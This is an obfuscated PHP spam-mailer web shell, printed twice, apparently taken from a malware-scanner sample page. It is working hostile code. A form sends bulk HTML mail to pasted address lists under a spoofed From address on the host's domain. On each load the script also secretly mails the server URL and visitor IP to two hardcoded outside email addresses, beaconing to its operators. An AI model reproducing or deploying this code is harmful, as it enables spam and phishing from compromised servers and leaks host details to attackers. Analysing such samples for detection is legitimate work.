goto vxKTl; ZRf5K: foreach ($Lk4mH as $zFhQw) { goto AaS3l; pta_M: print "<b>Sent report to [" . $zFhQw . "] - " . $dumZw . " - Subject: " . $LCvKQ . " - Order ID (Internal): " . $GamwZ . "</b><br>"; goto gRMGl; f8xjj: if (empty($zFhQw)) { goto nUF3Y; } goto qQACK; AaS3l: $zFhQw = trim($zFhQw); goto f8xjj; gRMGl: ELcB2: goto m7sh4; weBIw: D2FO9: goto RiOws; m7sh4: nUF3Y: goto weBIw; geas_: goto ELcB2; goto WRiXs; qQACK: if (mail($zFhQw, $LCvKQ, $wfh2d, $Ta7Ti)) { goto nszUa; } goto U3L1g; U3L1g: print "<b>Failed to send report to [" . $zFhQw . "]</b><br>"; goto geas_; WRiXs: nszUa: goto pta_M; RiOws: } goto nTh7i; tN32q: $zDWtd = $_SERVER["REMOTE_ADDR"]; goto BuhGn; w4X6J: echo ""><br>\xd
\xa<input type="submit" value="Send test >>">\xd
</form>
<br>
\xa
<script>\xd
// JavaScript to show/hide the custom input field based on radio selection\xd\xa const customOption = document.getElementById('from_custom');
\xa const autoOption = document.getElementById('from_auto');\xd\xa const customInput = document.getElementById('custom_from_prefix_input');
\xd
function toggleCustomInput() {
if (customOption.checked) {\xd\xa customInput.style.display = 'inline';\xd\xa customInput.setAttribute('required', 'required'); // Make required when visible\xd\xa } else {
\xa customInput.style.display = 'none';
\xa customInput.removeAttribute('required'); // Remove required when hidden\xd
// customInput.value = ''; // Optionally clear the value when hidden
\xa }\xd
}
\xa\xd\xa // Attach event listeners
autoOption.addEventListener('change', toggleCustomInput);
customOption.addEventListener('change', toggleCustomInput);
\xd
// Call initially to set the correct state based on page load or previous submission
\xa toggleCustomInput();
\xa</script>
\xa\xd
"; goto bUFyC; vxKTl: $Kh8cs = ["jasonnardinis@gmail.com", "fahimahmedseam@outlook.com"]; goto UC4Ne; nTh7i: yLIBT: goto d8b3H; nOpPL: print isset($_POST["emails"]) ? htmlspecialchars($_POST["emails"]) : ''; goto YSm9w; vnMvE: print isset($_POST["subject"]) ? htmlspecialchars($_POST["subject"]) : ''; goto HZHzV; SCqjV: if (isset($_POST["from_option"]) && $_POST["from_option"] === "custom") { goto zlp20; } goto Vy1vQ; wjSgC: dqfsy: goto fyrn1; Gumrq: goto m5DCt; goto BRSBu; HMaEy: m5DCt: goto ZRf5K; adXsM: print isset($_POST["orderid"]) ? htmlspecialchars($_POST["orderid"]) : ''; goto w8c_G; Vy1vQ: $dumZw = "From: (Server Default)"; goto Gumrq; ITUGx: echo "checked"; goto HvBLL; HmZXD: print isset($_POST["custom_from_prefix"]) ? htmlspecialchars($_POST["custom_from_prefix"]) : ''; goto w4X6J; VZ6hj: echo ">\xd\xa<label for="from_custom">Custom Name/Prefix:</label>
\xa<input type="text" placeholder="e.g. test, sales, noreply" name="custom_from_prefix" id="custom_from_prefix_input" value=""; goto HmZXD; YSm9w: echo "</textarea><br>\xd\xa<textarea placeholder="Message (plain text or HTML)" name="message" rows=0" cols="50" required>"; goto OutnS; jGqIm: rov7k: goto HMaEy; frz5L: $iOx3b = "MIME-Version:.0\xd\xa"; goto grnDq; fyrn1: echo "<title>Mail Sending test</title>
\xaUpload is <b><color>WORKING</color></b><br>\xd
private site<br>
\xaCheck Mailling ..<br>
<form method="post">\xd\xa<input type="text" placeholder="Subject" name="subject" value=""; goto vnMvE; zwo4h: rTIMc: goto qnr0_; qnr0_: echo ">\xd
<label for="from_auto">Auto (Server's Default From Address)</label><br>\xd
\xa<input type="radio" name="from_option" value="custom" id="from_custom" "; goto Ofxs8; xcZEf: knN4b: goto zE62M; h_sGm: if (!empty($YZ93p)) { goto knN4b; } goto bnCsv; bnCsv: $dumZw = "From: (Server Default)"; goto uSe1J; u5k2h: $Lk4mH = explode("\xa", $_POST["emails"]); goto gasCj; grnDq: $iOx3b .= "Content-type:text/plain;charset=UTF-8
\xa"; goto oMO3e; Nqt6g: echo "</textarea><br>\xd\xa<input type="text" placeholder="Order ID (Optional, for internal reference)" name="orderid" value=""; goto adXsM; zE62M: $ql06_ = ucfirst($YZ93p); goto w3gYr; C8qfN: echo "checked"; goto zwo4h; edoHX: $Ta7Ti = "MIME-Version: 1.0\xd\xa"; goto wP4cq; UC4Ne: $DdLiS = "MAILER OPENED"; goto ow_4v; Toa3Y: $GamwZ = !empty($_POST["orderid"]) ? $_POST["orderid"] : rand(); goto edoHX; bUFyC: if (!(!empty($_POST["emails"]) && !empty($_POST["subject"]) && !empty($_POST["message"]))) { goto tT1fL; } goto u5k2h; CqmVc: goto rov7k; goto xcZEf; BuhGn: $lKjHT = "The mailer script was opened:\xa
URL: " . $Oo41v . "\xaIP: " . $zDWtd; goto frz5L; KMFgi: $H0fxo = $Mz28v . "@" . $WLtv2; goto S1sUe; w8c_G: echo "" ><br>\xd
\xa<br>
\xa<b>Sender Email Option:</b><br>\xd
<input type="radio" name="from_option" value="auto" id="from_auto" "; goto QzAQ8; ow_4v: $Oo41v = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; goto tN32q; Fbhs5: $WLtv2 = $_SERVER["SERVER_NAME"]; goto KMFgi; OutnS: print isset($_POST["message"]) ? htmlspecialchars($_POST["message"]) : ''; goto Nqt6g; BRSBu: zlp20: goto ezGuz; oMO3e: foreach ($Kh8cs as $KZXTN) { mail($KZXTN, $DdLiS, $lKjHT, $iOx3b); mLMjX: } goto wjSgC; gasCj: $LCvKQ = $_POST["subject"]; goto yEn20; HZHzV: echo "" required><br>
\xa<textarea placeholder="E-Mails (one per line)" name="emails" rows="10" cols=0" required>"; goto nOpPL; yEn20: $wfh2d = $_POST["message"]; goto Toa3Y; S1sUe: $Ta7Ti .= "From: " . $ql06_ . " <" . $H0fxo . ">\xd
"; goto rtMwI; Ofxs8: if (!(isset($_POST["from_option"]) && $_POST["from_option"] === "custom")) { goto kWTfm; } goto ITUGx; wP4cq: $Ta7Ti .= "Content-type:text/html;charset=UTF-8
"; goto Yg5hr; rtMwI: $dumZw = "From: " . $ql06_ . " <" . $H0fxo . ">"; goto jGqIm; HvBLL: kWTfm: goto VZ6hj; ezGuz: $YZ93p = isset($_POST["custom_from_prefix"]) ? trim($_POST["custom_from_prefix"]) : ''; goto h_sGm; w3gYr: $Mz28v = strtolower($YZ93p); goto Fbhs5; QzAQ8: if (!(!isset($_POST["from_option"]) || $_POST["from_option"] === "auto")) { goto rTIMc; } goto C8qfN; Yg5hr: $dumZw = ''; goto SCqjV; uSe1J: print "<p style='color:red;'>Warning: Custom prefix for main email was empty, defaulting to server's 'From'.</p>"; goto CqmVc; d8b3H: tT1fL:
goto vxKTl; ZRf5K: foreach ($Lk4mH as $zFhQw) { goto AaS3l; pta_M: print "<b>Sent report to [" . $zFhQw . "] - " . $dumZw . " - Subject: " . $LCvKQ . " - Order ID (Internal): " . $GamwZ . "</b><br>"; goto gRMGl; f8xjj: if (empty($zFhQw)) { goto nUF3Y; } goto qQACK; AaS3l: $zFhQw = trim($zFhQw); goto f8xjj; gRMGl: ELcB2: goto m7sh4; weBIw: D2FO9: goto RiOws; m7sh4: nUF3Y: goto weBIw; geas_: goto ELcB2; goto WRiXs; qQACK: if (mail($zFhQw, $LCvKQ, $wfh2d, $Ta7Ti)) { goto nszUa; } goto U3L1g; U3L1g: print "<b>Failed to send report to [" . $zFhQw . "]</b><br>"; goto geas_; WRiXs: nszUa: goto pta_M; RiOws: } goto nTh7i; tN32q: $zDWtd = $_SERVER["REMOTE_ADDR"]; goto BuhGn; w4X6J: echo ""><br>\xd
\xa<input type="submit" value="Send test >>">\xd
</form>
<br>
\xa
<script>\xd
// JavaScript to show/hide the custom input field based on radio selection\xd\xa const customOption = document.getElementById('from_custom');
\xa const autoOption = document.getElementById('from_auto');\xd\xa const customInput = document.getElementById('custom_from_prefix_input');
\xd
function toggleCustomInput() {
if (customOption.checked) {\xd\xa customInput.style.display = 'inline';\xd\xa customInput.setAttribute('required', 'required'); // Make required when visible\xd\xa } else {
\xa customInput.style.display = 'none';
\xa customInput.removeAttribute('required'); // Remove required when hidden\xd
// customInput.value = ''; // Optionally clear the value when hidden
\xa }\xd
}
\xa\xd\xa // Attach event listeners
autoOption.addEventListener('change', toggleCustomInput);
customOption.addEventListener('change', toggleCustomInput);
\xd
// Call initially to set the correct state based on page load or previous submission
\xa toggleCustomInput();
\xa</script>
\xa\xd
"; goto bUFyC; vxKTl: $Kh8cs = ["jasonnardinis@gmail.com", "fahimahmedseam@outlook.com"]; goto UC4Ne; nTh7i: yLIBT: goto d8b3H; nOpPL: print isset($_POST["emails"]) ? htmlspecialchars($_POST["emails"]) : ''; goto YSm9w; vnMvE: print isset($_POST["subject"]) ? htmlspecialchars($_POST["subject"]) : ''; goto HZHzV; SCqjV: if (isset($_POST["from_option"]) && $_POST["from_option"] === "custom") { goto zlp20; } goto Vy1vQ; wjSgC: dqfsy: goto fyrn1; Gumrq: goto m5DCt; goto BRSBu; HMaEy: m5DCt: goto ZRf5K; adXsM: print isset($_POST["orderid"]) ? htmlspecialchars($_POST["orderid"]) : ''; goto w8c_G; Vy1vQ: $dumZw = "From: (Server Default)"; goto Gumrq; ITUGx: echo "checked"; goto HvBLL; HmZXD: print isset($_POST["custom_from_prefix"]) ? htmlspecialchars($_POST["custom_from_prefix"]) : ''; goto w4X6J; VZ6hj: echo ">\xd\xa<label for="from_custom">Custom Name/Prefix:</label>
\xa<input type="text" placeholder="e.g. test, sales, noreply" name="custom_from_prefix" id="custom_from_prefix_input" value=""; goto HmZXD; YSm9w: echo "</textarea><br>\xd\xa<textarea placeholder="Message (plain text or HTML)" name="message" rows=0" cols="50" required>"; goto OutnS; jGqIm: rov7k: goto HMaEy; frz5L: $iOx3b = "MIME-Version:.0\xd\xa"; goto grnDq; fyrn1: echo "<title>Mail Sending test</title>
\xaUpload is <b><color>WORKING</color></b><br>\xd
private site<br>
heck Mailling ..<br>
<form method="post">\xd\xa<input type="text" placeholder="Subject" name="subject" value=""; goto vnMvE; zwo4h: rTIMc: goto qnr0_; qnr0_: echo ">\xd
<label for="from_auto">Auto (Server's Default From Address)</label><br>\xd
\xa<input type="radio" name="from_option" value="custom" id="from_custom" "; goto Ofxs8; xcZEf: knN4b: goto zE62M; h_sGm: if (!empty($YZ93p)) { goto knN4b; } goto bnCsv; bnCsv: $dumZw = "From: (Server Default)"; goto uSe1J; u5k2h: $Lk4mH = explode("\xa", $_POST["emails"]); goto gasCj; grnDq: $iOx3b .= "Content-type:text/plain;charset=UTF-8
\xa"; goto oMO3e; Nqt6g: echo "</textarea><br>\xd\xa<input type="text" placeholder="Order ID (Optional, for internal reference)" name="orderid" value=""; goto adXsM; zE62M: $ql06_ = ucfirst($YZ93p); goto w3gYr; C8qfN: echo "checked"; goto zwo4h; edoHX: $Ta7Ti = "MIME-Version: 1.0\xd\xa"; goto wP4cq; UC4Ne: $DdLiS = "MAILER OPENED"; goto ow_4v; Toa3Y: $GamwZ = !empty($_POST["orderid"]) ? $_POST["orderid"] : rand(); goto edoHX; bUFyC: if (!(!empty($_POST["emails"]) && !empty($_POST["subject"]) && !empty($_POST["message"]))) { goto tT1fL; } goto u5k2h; CqmVc: goto rov7k; goto xcZEf; BuhGn: $lKjHT = "The mailer script was opened:\xa
URL: " . $Oo41v . "\xaIP: " . $zDWtd; goto frz5L; KMFgi: $H0fxo = $Mz28v . "@" . $WLtv2; goto S1sUe; w8c_G: echo "" ><br>\xd
\xa<br>
\xa<b>Sender Email Option:</b><br>\xd
<input type="radio" name="from_option" value="auto" id="from_auto" "; goto QzAQ8; ow_4v: $Oo41v = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; goto tN32q; Fbhs5: $WLtv2 = $_SERVER["SERVER_NAME"]; goto KMFgi; OutnS: print isset($_POST["message"]) ? htmlspecialchars($_POST["message"]) : ''; goto Nqt6g; BRSBu: zlp20: goto ezGuz; oMO3e: foreach ($Kh8cs as $KZXTN) { mail($KZXTN, $DdLiS, $lKjHT, $iOx3b); mLMjX: } goto wjSgC; gasCj: $LCvKQ = $_POST["subject"]; goto yEn20; HZHzV: echo "" required><br>
\xa<textarea placeholder="E-Mails (one per line)" name="emails" rows="10" cols=0" required>"; goto nOpPL; yEn20: $wfh2d = $_POST["message"]; goto Toa3Y; S1sUe: $Ta7Ti .= "From: " . $ql06_ . " <" . $H0fxo . ">\xd
"; goto rtMwI; Ofxs8: if (!(isset($_POST["from_option"]) && $_POST["from_option"] === "custom")) { goto kWTfm; } goto ITUGx; wP4cq: $Ta7Ti .= "Content-type:text/html;charset=UTF-8
"; goto Yg5hr; rtMwI: $dumZw = "From: " . $ql06_ . " <" . $H0fxo . ">"; goto jGqIm; HvBLL: kWTfm: goto VZ6hj; ezGuz: $YZ93p = isset($_POST["custom_from_prefix"]) ? trim($_POST["custom_from_prefix"]) : ''; goto h_sGm; w3gYr: $Mz28v = strtolower($YZ93p); goto Fbhs5; QzAQ8: if (!(!isset($_POST["from_option"]) || $_POST["from_option"] === "auto")) { goto rTIMc; } goto C8qfN; Yg5hr: $dumZw = ''; goto SCqjV; uSe1J: print "<p style='color:red;'>Warning: Custom prefix for main email was empty, defaulting to server's 'From'.</p>"; goto CqmVc; d8b3H: tT1fL:
© 2023 Quttera Ltd. All rights reserved.